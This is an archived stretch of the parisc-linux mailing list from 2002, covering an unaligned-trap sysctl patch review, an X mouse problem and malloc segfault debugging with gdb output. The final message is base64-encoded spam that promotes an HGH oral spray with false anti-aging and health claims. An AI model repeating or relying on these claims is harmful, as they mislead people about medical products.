if someone can review this real quick before i commit it to cvs, i'd
appreciate it. in particular, the point where it decides that the
unaligned trap is not enabled and forces the SIGBUS is not exactly at
the beginning of the trap handler -- it still prints the unaligned
message.... 

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Mouse stops working when exiting KDE
Date: Sat, 21 Sep 2002 18:44:20 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3D8D0454.40706@earthlink.net>
References: <20020921220317.3256.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621749 14330 80.91.229.3 (22 Nov 2014 02:02:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 17:41:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 978054829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Sep 2002 17:41:57 -0600 (MDT)
Original-Received: from user-33qtcfa.dialup.mindspring.com ([199.174.177.234] helo=cactus.bheadley.org)
	by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 17stsj-0005Pw-00; Sat, 21 Sep 2002 16:41:50 -0700
Original-Received: from localhost.localdomain ([127.0.0.1] helo=earthlink.net)
	by cactus.bheadley.org with esmtp (Exim 3.36 #1 (Debian))
	id 17stvB-00006y-00; Sat, 21 Sep 2002 18:44:21 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2a) Gecko/20020910
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16229

Derek Engelhaupt wrote:
> Hey all,
> 
> Currently when my system boots up the X11 login window starts up
> automatically and I can log in and use it normally, but when I log out
> the mouse quits working.  The X11 login window appears again, but the
> mouse won't move anymore.  I'm just using a standard PS/2 HP 3 button
> mouse - nothing fancy on my C180.  Also, why is it that Konqueror won't
> do https sites?  And if it will what could possibly be the problem with
> that?  Thanks.

I assume you are running the gpm mouse daemon as well. If you tell X to 
use the gpm mouse (/dev/gpmdata), you should be okay. Personally, I just 
turn off the gpm daemon, because I don't need a mouse in console mode.

(It's not a parisc-only bug: I see this on virtually every Debian platform)

-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Sat, 21 Sep 2002 18:57:14 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20020922005714.07CB24829@dsl2.external.hp.com>
References: <20020920203724.GD24622@systemhalted> <200209202046.g8KKkGwj019921@hiauly1.hia.nrc.ca> <20020920205012.GF4909@tausq.org> <20020920205518.GB25844@systemhalted>  <20020921232018.GA29388@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621750 14332 80.91.229.3 (22 Nov 2014 02:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 21 18:57:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 07CB24829; Sat, 21 Sep 2002 18:57:14 -0600 (MDT)
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Sat, 21 Sep 2002 16:20:18 PDT." <20020921232018.GA29388@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16230

Randolph Chung wrote:
> legolas:/home/randolph# cat /proc/sys/kernel/unaligned 
> Unaligned trap handler is enabled
> legolas:/home/randolph# ./t; echo $?
> 0
> legolas:/home/randolph# echo 0 >> /proc/sys/kernel/unaligned 

Cool!
After reviewing the diff (on ftp.p-l.o/patches), only two nits
that have nothing to do with the code:

o cat output should relate to what I have to "echo" into the /proc file.
  ie only display '0' or '1' when catting.
  Or is "blah is enabled" by convention?

o SYSCTL_FILENAME should be "sys/kernel/unaligned_trap"
  and then I think 0 or 1 should be clear enough to anyone
  daring to mess with it.


> if someone can review this real quick before i commit it to cvs,

If you don't like my suggestions, I'm ok with committing
what you've already got.

> i'd
> appreciate it. in particular, the point where it decides that the
> unaligned trap is not enabled and forces the SIGBUS is not exactly at
> the beginning of the trap handler -- it still prints the unaligned
> message.... 

hmmm...if running under a debugger, one gets that info anyway.
But that's not always easy to do. I think it's ok since we don't
like to see unligned traps happen anyway.

Maybe a "unaligned_trap_msg" tunable?
/me runs...

thanks
grant


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] malloc limits
Date: Sun, 22 Sep 2002 01:43:58 -0400 (EDT)
Lines: 76
Approved: news@gmane.org
Message-ID: <200209220543.g8M5hxl6003856@hiauly1.hia.nrc.ca>
References: <20020921223352.C64324829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621750 14336 80.91.229.3 (22 Nov 2014 02:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:30 +0000 (UTC)
Cc: willy@debian.org, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 00:08:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 679364829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Sep 2002 00:08:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8M5i000003860;
	Sun, 22 Sep 2002 01:44:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8M5hxl6003856;
	Sun, 22 Sep 2002 01:43:59 -0400 (EDT)
In-Reply-To: <20020921223352.C64324829@dsl2.external.hp.com> from "Grant Grundler" at Sep 21, 2002 04:33:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16231

> I'll assume this is happening on the A500 (PA2.0) and wonder if it's
> a signed/unsigned bug. Look closely at how PA2.0 extends register
> values and make sure code is treating addresses and sizes as unsigned.

This is the code that adds the chunk pointer plus size of chunk and
then tries to load the size of the next check:

0x402611d4 <chunk_free+32>:     add,l r25,ret1,r31
0x402611d8 <chunk_free+36>:     ldw 4(sr0,r31),r20

The add is a 64-bit add on a PA2.0 machine, so the result won't be
signed extended.  My understanding is that the upper 32-bits are
truncated when the PSW W bit is zero.  So, it isn't obvious to
me how this can be a signed/unsigned bug unless it is in the
kernel.

> > I haven't been successful debugging the code directly.  I can get the
> > code to seg fault by setting SIG37 to nostop noprint, but the debugger
> > seems to think the fault occurs following the INLINE_SYSCALL in
> > __sigsuspend.  However, the address points to an ldi instruction
> > which can't seg fault, so I don't know what's up.
> 
> Not all instructions trap precisely. FP ops definitely do not and
> I thought a few others didn't either.
> 
> I'm wondering what happens when unaligned access should segfault.
> Does the unaligned code handle check for that?
> I'll take a quick look at that code path.

There is definitely something strange with this program.  It doesn't
seg fault 100% of the time.  This suggests either a timing/lock problem
or something that isn't being properly initialized.  I don't know
how to debug it under gdb because it seems to change the way traps
are handled.  When I set a break, it appears that the code under test
catches the trap instead of gdb.  The system also dumps core.

I've tried setting breaks in chunk_free and __pthread_mutex_lock
where the unaligned faults occur with a condition matching the
unaligned pointer value which i see in /var/log/debug.  However,
I get the following:

Program received signal SIGTRAP, Trace/breakpoint trap.
0x4021e114 in __sigsuspend (set=0x25)
    at ../sysdeps/unix/sysv/linux/sigsuspend.c:45
45        return INLINE_SYSCALL (rt_sigsuspend, 2, CHECK_SIGSET (set), _NSIG / 8);
(gdb) info proc
process 20194
cmdline = '/home/dave/pthread2.x0g'
warning: unable to read link '/proc/20194/cwd'
warning: unable to read link '/proc/20194/exe'

dave     20193 20041  0 21:41 pts/2    00:00:02 gdb pthread2.x0g
dave     20194 20193  0 21:43 pts/2    00:00:00 /home/dave/pthread2.x0g
dave     20199 20194  0 21:46 pts/2    00:00:00 [pthread2.x0g <defunct>]

I tried setting follow-fork-mode to child but it doesn't seem to follow
the child.

I don't think fp exceptions are involved.

I can see in debug that two traps occur associated with each run.  They
are both type 15 (Data TLB Miss Fault) and they seem to both occur at
the same location.

The program pthread2.x0g is in my home directory on gsyprf11.  If you
want to try it, it probably best to set

  LD_LIBRARY_PATH=/home/dave/opt/gnu/lib

It may take several tries to get it to seg fault.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yes" <GrowYounger6428a74@desertmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Do you know the three HGH products?
Date: Sun, 22 Sep 0102 19:31:50 -0700
Lines: 163
Approved: news@gmane.org
Message-ID: <032b15b88d6e$8266e7a2$6ab21da5@akydbe>
Reply-To: "Yes" <GrowYounger6428a74@desertmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_00B8_41D02B0D.C8128C04"
X-Trace: ger.gmane.org 1416621750 14341 80.91.229.3 (22 Nov 2014 02:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:30 +0000 (UTC)
Cc: <parisc-linux-announce-request@lists.parisc-linux.org>,
	<parisc-linux-cvs-request@lists.parisc-linux.org>,
	<parisc-linux@lists.parisc-linux.org>
To: <parisc-linux-request@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 22 06:54:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from desertmail.com (unknown [211.250.128.195])
	by dsl2.external.hp.com (Postfix) with SMTP
	id 6A21E4829; Sun, 22 Sep 2002 06:54:07 -0600 (MDT)
Original-Received: from unknown (HELO n9.groups.huyahoo.com) (4.148.49.138)
	by q4.quickslow.com with smtp; 22 Sep 0102 06:52:02 +0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: MIME-tools 5.503 (Entity 5.501)
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16232

------=_NextPart_000_00B8_41D02B0D.C8128C04
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: base64


TXl0aCBhYm91dCBIR0ggcHJvZHVjdHMNCg0KPGh0bWw+DQoNCjxoZWFkPg0K
DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRl
eHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiPg0KDQo8bWV0YSBuYW1l
PSJHRU5FUkFUT1IiIGNvbnRlbnQ9Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNC4w
Ij4NCg0KPG1ldGEgbmFtZT0iUHJvZ0lkIiBjb250ZW50PSJGcm9udFBhZ2Uu
RWRpdG9yLkRvY3VtZW50Ij4NCg0KPHRpdGxlPlRoZXJlIGFyZSB0aHJlZSBk
aWZmZXJlbnQgdHlwZXMgb2YgSEdIIHByb2R1Y3RzPC90aXRsZT4NCg0KPC9o
ZWFkPg0KDQo8Ym9keSBiYWNrZ3JvdW5kPSJjbG91ZHMuanBnIj4NCg0KPHA+
PGZvbnQgc2l6ZT0iNCI+PGZvbnQgY29sb3I9IiM4MDAwMDAiPjxiPlRoZXJl
IGFyZSB0aHJlZSBkaWZmZXJlbnQgdHlwZXMgb2YNCg0KSEdIIHByb2R1Y3Rz
LjwvYj48L2ZvbnQ+PGJyPg0KDQpUaGUgY29uZnVzaW9uIGlzIHRoYXQgYWxs
IHRocmVlIGFyZTxicj4NCg0KYWR2ZXJ0aXNlZCBhcyBpZiB0aGV5IHdlcmUg
dGhlIHNhbWUuPC9mb250Pjxicj4NCg0KJm5ic3A7PGJyPg0KDQombmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPHU+VGhlIHRo
cmVlIHR5cGVzIGFyZTo8L3U+PGJyPg0KDQombmJzcDs8YnI+DQoNCjxiPjEp
PC9iPiAtLS0gPGZvbnQgY29sb3I9IiMwMDAwRkYiPjxiPkhvbWVvcGF0aGlj
IEhHSDwvYj48L2ZvbnQ+PGJyPg0KDQo8Yj4yKTwvYj4gLS0tIDxmb250IGNv
bG9yPSIjMDAwMEZGIj48Yj5QcmUtY3Vyc29yIEhHSDwvYj48L2ZvbnQ+PGJy
Pg0KDQo8Yj4zKTwvYj4gLS0tIDxmb250IGNvbG9yPSIjMDAwMEZGIj48Yj5S
ZWFsIG9yIHN5bnRoZXRpYyBIR0g8L2I+PC9mb250Pg0KDQooZGVsaXZlcmVk
IGJ5IGluamVjdGlvbjxicj4NCg0KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7IG9yLCBieSBhbiBvcmFsIHNwcmF5IG1ldGhv
ZCkuPGJyPg0KDQombmJzcDs8YnI+DQoNCkRvIHlvdSBrbm93IGRpZmZlcmVu
Y2VzPzxicj4NCg0KJm5ic3A7PGJyPg0KDQpDYWxsIHVzIGFuZCB3ZSdsbCBl
eHBsYWluIHRoZW0gdG8geW91Ljxicj4NCg0KJm5ic3A7PGJyPg0KDQpPdXIg
dG9sbCBmcmVlIG51bWJlciBpcyA8Zm9udCBjb2xvcj0iIzAwMDA4MCI+PGI+
MS04ODgtNjIxLTczMDA8L2I+PC9mb250Pjxicj4NCg0KQW4gSEdIIHN0YWZm
IG1lbWJlciBpcyBhdmFpbGFibGU8YnI+DQoNCjkgdG8gNSBQYWNpZmljIFRp
bWUuPGJyPg0KDQpJZiBhZnRlciBob3VycywgcGxlYXNlIGxlYXZlIHlvdSBu
YW1lPGJyPg0KDQphbmQgZGF5IGFuZCBldmVuaW5nIHBob25lIG51bWJlcnMu
PGJyPg0KDQpXZSB3aWxsIGNhbGwgeW91IGJhY2sgaW4gYSBubyBwcmVzc3Vy
ZSw8YnI+DQoNCmVkdWNhdGlvbmFsIG1hbm5lci48YnI+DQoNCklmIHlvdSBh
cmUgb3ZlcnNlYXMgY2FsbCB5b3VyIGxvbmcgZGlzdGFuY2U8YnI+DQoNCm9w
ZXJhdG9yIGFuZCBhc2sgdG8gYmUgY29ubmVjdGVkIHRvIG91cjxicj4NCg0K
cGhvbmUgbnVtYmVyLiZuYnNwOyBXZSB3aWxsIGNhbGwgeW91IGJhY2sgc288
YnI+DQoNCndlIGNhbiBwYXkgZm9yIHRoZSBsb25nIGRpc3RhbmNlIGNoYXJn
ZXMuPGJyPg0KDQombmJzcDs8YnI+DQoNCjxmb250IGNvbG9yPSIjRkYwMDAw
Ij5Gb3IgbW9yZSBpbmZvcm1hdGlvbiBvbiBIR0ggcmVhZCBvbi4uLi4uLi4u
Li4uLjwvZm9udD48YnI+DQoNCiZuYnNwOzxicj4NCg0KSEFWRSBZT1UgSEVB
UkQgT0Y8YnI+DQoNCkhVTUFOIEdST1dUSCBIT1JNT05FIChIR0gpPz8/PGJy
Pg0KDQombmJzcDs8YnI+DQoNCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBS
ZWxlYXNlZCBieSB5b3VyIG93biBwaXR1aXRhcnkgZ2xhbmQsIEhHSCBzdGFy
dHMNCg0KZGVjbGluaW5nPGJyPg0KDQppbiB5b3VyIDIwcywgZXZlbiBtb3Jl
IGluIHlvdXIgMzBzIGFuZCA0MHMsIGV2ZW50dWFsbHkgcmVzdWx0aW5nPGJy
Pg0KDQppbiB0aGUgc2hyaW5rYWdlIG9mIG1ham9yIG9yZ2FucyAtLSBwbHVz
LCBhbGw8YnI+DQoNCm90aGVyIHN5bXB0b21zIHJlbGF0ZWQgdG8gb2xkIGFn
ZS48YnI+DQoNCiZuYnNwOzxicj4NCg0KJm5ic3A7PGJyPg0KDQpJTiBUSE9V
U0FORFMgT0YgQ0xJTklDQUwgU1RVRElFUyw8YnI+DQoNCkhHSCBIQVMgQkVF
TiBTSE9XTiBUTyBBQ0NPTVBMSVNIIFRIRSBGT0xMT1dJTkc6PGJyPg0KDQom
bmJzcDs8YnI+DQoNCiogUmVkdWNlIEJvZHkgRmF0IGFuZCBCdWlsZCBMZWFu
IE11c2NsZTxicj4NCg0KJm5ic3A7Jm5ic3A7IFdJVEhPVVQgRVhFUkNJU0Uh
PGJyPg0KDQombmJzcDs8YnI+DQoNCiogRW5oYW5jZSBTZXh1YWwgUGVyZm9y
bWFuY2U8YnI+DQoNCiZuYnNwOzxicj4NCg0KKiBSZW1vdmUgV3JpbmtsZXMg
YW5kIENlbGx1bGl0ZTxicj4NCg0KJm5ic3A7PGJyPg0KDQoqIExvd2VyIEJs
b29kIFByZXNzdXJlIGFuZCBJbXByb3ZlIENob2xlc3Rlcm9sIFByb2ZpbGU8
YnI+DQoNCiZuYnNwOzxicj4NCg0KKiBJbXByb3ZlIFNsZWVwLCBWaXNpb24g
YW5kIE1lbW9yeTxicj4NCg0KJm5ic3A7PGJyPg0KDQoqIFJlc3RvcmUgSGFp
ciBDb2xvciBhbmQgR3Jvd3RoPGJyPg0KDQombmJzcDs8YnI+DQoNCiogU3Ry
ZW5ndGhlbiB0aGUgSW1tdW5lIFN5c3RlbTxicj4NCg0KJm5ic3A7PGJyPg0K
DQoqIEluY3JlYXNlIEVuZXJneSBhbmQgQ2FyZGlhYyBPdXRwdXQ8YnI+DQoN
CiZuYnNwOzxicj4NCg0KKiBUdXJuIGJhY2sgeW91ciBib2R5J3MgQmlvbG9n
aWNhbCBUaW1lIENsb2NrIDEwIC0gMjAgeWVhcnM8YnI+DQoNCiZuYnNwOzxi
cj4NCg0KKiBMaXZlIExvbmdlciBBTkQgU3Ryb25nZXI8YnI+DQoNCiZuYnNw
Ozxicj4NCg0KQWxsIG5hdHVyYWwgYW5kIG9yZ2FuaWMgcGxhbnQgYmFzZWQ8
YnI+DQoNCiZuYnNwOzxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDAwRkYiPjxi
PkZFRUwgMTAgWUVBUlMgWU9VTkdFUiBXSVRIIE9SQUwgU1BSQVkgSEdILjxi
cj4NCg0KR1VBUkFOVEVFRDwvYj48L2ZvbnQ+PGJyPg0KDQombmJzcDs8YnI+
DQoNCiZuYnNwOyZuYnNwOyZuYnNwOyBXZSBhcmUgdGhlIG1hbnVmYWN0dXJl
ciBhbmQgd2Ugc2VsbCBkaXJlY3RseSB0byBEb2N0b3JzLDxicj4NCg0KQ2hp
cm9wcmFjdG9ycywgYW5kIGNvbnN1bWVycyB3b3JsZCB3aWRlIHRoZSBoaWdo
ZXN0IGdyYWRlPGJyPg0KDQombmJzcDtIR0ggT3JhbCBTcHJheSBhdmFpbGFi
bGUuJm5ic3A7PGJyPg0KDQombmJzcDs8YnI+DQoNCiZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyBXaXRoIGludGVybmV0IG1hcmtldGluZywgd2UgYXJlIGFi
bGUgdG8gc2F2ZQ0KDQphZHZlcnRpc2luZzxicj4NCg0KY29zdCBhbmQgcGFz
cyB0aG9zZSBzYXZpbmdzIGFsb25nIHRvIHlvdS48YnI+DQoNCkJ1dCB5b3Ug
bXVzdCBhY3Qgbm93LiZuYnNwOzxicj4NCg0KJm5ic3A7PGJyPg0KDQpUbyBy
ZWNlaXZlIG1vcmUgaW5mb3JtYXRpb24gY2FsbCZuYnNwOyB1cyBub3cuPGJy
Pg0KDQombmJzcDs8YnI+DQoNCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBUT0xM
IEZSRUUgPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiPjEtODg4LTYyMS03MzAw
PC9mb250PjwvYj48YnI+DQoNCiZuYnNwOzxicj4NCg0KV2UgbXVzdCBzcGVh
ayB0byB5b3UgaW4gcGVyc29uIHRvIHF1YWxpZnkgeW91ciB1c2FnZS48YnI+
DQoNCiZuYnNwOzxicj4NCg0KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IEFs
bCBvZiB5b3VyIHF1ZXN0aW9ucyB3aWxsIGJlIGFkZHJlc3NlZCBhbmQgYW5z
d2VyZWQgaW4NCg0KYSBmcmllbmRseSw8YnI+DQoNCm5vIHByZXNzdXJlIG1h
bm5lci4mbmJzcDsgT3VyIG1haW4gcHVycG9zZSBpcyB0byBwcm92aWRlIHlv
dSB3aXRoPGJyPg0KDQombmJzcDtpbmZvcm1hdGlvbiBzbyB5b3UgY2FuIG1h
a2UgYW4gZWR1Y2F0ZWQgZGVjaXNpb24uPGJyPg0KDQombmJzcDs8YnI+DQoN
CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBGb3IgbW9yZSBpbmZvcm1hdGlv
biBjYWxsPGJyPg0KDQombmJzcDs8YnI+DQoNCiZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyA8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCI+MS04ODgtNjIxLTczMDA8
L2ZvbnQ+PC9iPjxicj4NCg0KJm5ic3A7PGJyPg0KDQombmJzcDtJZiB5b3Ug
YXJlIG9uIGxpbmUgd3JpdGUgZG93biBvdXI8YnI+DQoNCnBob25lIG51bWJl
ciBhbmQgY2FsbCB1cyB3aGVuIHlvdSBjYW4uPGJyPg0KDQombmJzcDs8YnI+
DQoNClNvb24sIHlvdSBhbmQgeW91ciBsb3ZlZCBvbmVzIHdpbGwgYmUgdmVy
eSBnbGFkIHlvdSBkaWQuPGJyPg0KDQombmJzcDs8YnI+DQoNClJlYWQgd2hh
dCBwZW9wbGUgYXJlIHNheWluZzo8YnI+DQoNCiZuYnNwOzxicj4NCg0KJnF1
b3Q7VGhlIGVmZmVjdHMgb2YgNiBtb250aHMgb2YgR0ggb248YnI+DQoNCmxl
YW4gYm9keSBtYXNzIGFuZCBmYXQgd2VyZSBlcXVpdmFsZW50PGJyPg0KDQpp
biBtYWduaXR1ZGUgdG8gdGhlIGNoYW5nZXMgaW5jdXJyZWQ8YnI+DQoNCmR1
cmluZyAxMC0yMCB5ZWFycyBvZiBhZ2luZy4mcXVvdDs8YnI+DQoNCkRyLiBE
YW5pZWwgUnVkbWFuLCBNRCw8YnI+DQoNCk5ldyBFbmdsYW5kIEpvdXJuYWwg
b2YgTWVkaWNpbmUuPGJyPg0KDQombmJzcDs8YnI+DQoNCiZxdW90O1dpdGhp
biBmb3VyIG1vbnRocywgbXkgYm9keSBmYXQgZGVjcmVhc2VkPGJyPg0KDQom
bmJzcDtmb3JtIDMwJSBkb3duIHRvIDIxJSEgSSBub3RpY2VkIG15IHNraW48
YnI+DQoNCiZuYnNwO2lzIG1vcmUgc3VwcGxlIGFuZCBteSBvdmVyYWxsIG1l
bnRhbDxicj4NCg0KJm5ic3A7b3V0bG9vayBpbXByb3ZlZCBzaWduaWZpY2Fu
dGx5LiZxdW90Ozxicj4NCg0KJm5ic3A7RC5XLiwgTmV3IEplcnNleTxicj4N
Cg0KJm5ic3A7PGJyPg0KDQomcXVvdDtXZSBoYXZlIGJlZW4gb24gdGhlIHNw
cmF5IGZvciBqdXN0IDMgd2Vla3M8YnI+DQoNCm5vdywgYW5kIGJlc2lkZXMg
dGhlIHRyZW1lbmRvdXMgZW5lcmd5IHdlPGJyPg0KDQpib3RoIGZlZWwsIG15
IGh1c2JhbmRzIGFsbGVyZ2llcyBhbmQgc3BlbGxzPGJyPg0KDQpvZiBkZXBy
ZXNzaW9uIGhhdmUgbGlmdGVkLiBJIGFtIGhlYWxpbmc8YnI+DQoNCmV4dHJl
bWVseSBmYXN0IGFmdGVyIGFuIGFjY2lkZW50IGFuZCBoYXZlPGJyPg0KDQps
b3N0IDcgbGJzLiB3aXRob3V0IHRyeWluZyEmcXVvdDs8YnI+DQoNCkMuQi4s
IEZsYWdzdGFmZi4gQVo8YnI+DQoNCiZuYnNwOzxicj4NCg0KVGhhbmtzIGZv
ciByZWFkaW5nIG91ciBsZXR0ZXIsPGJyPg0KDQpUaGUgSEdIIFN0YWZmPGJy
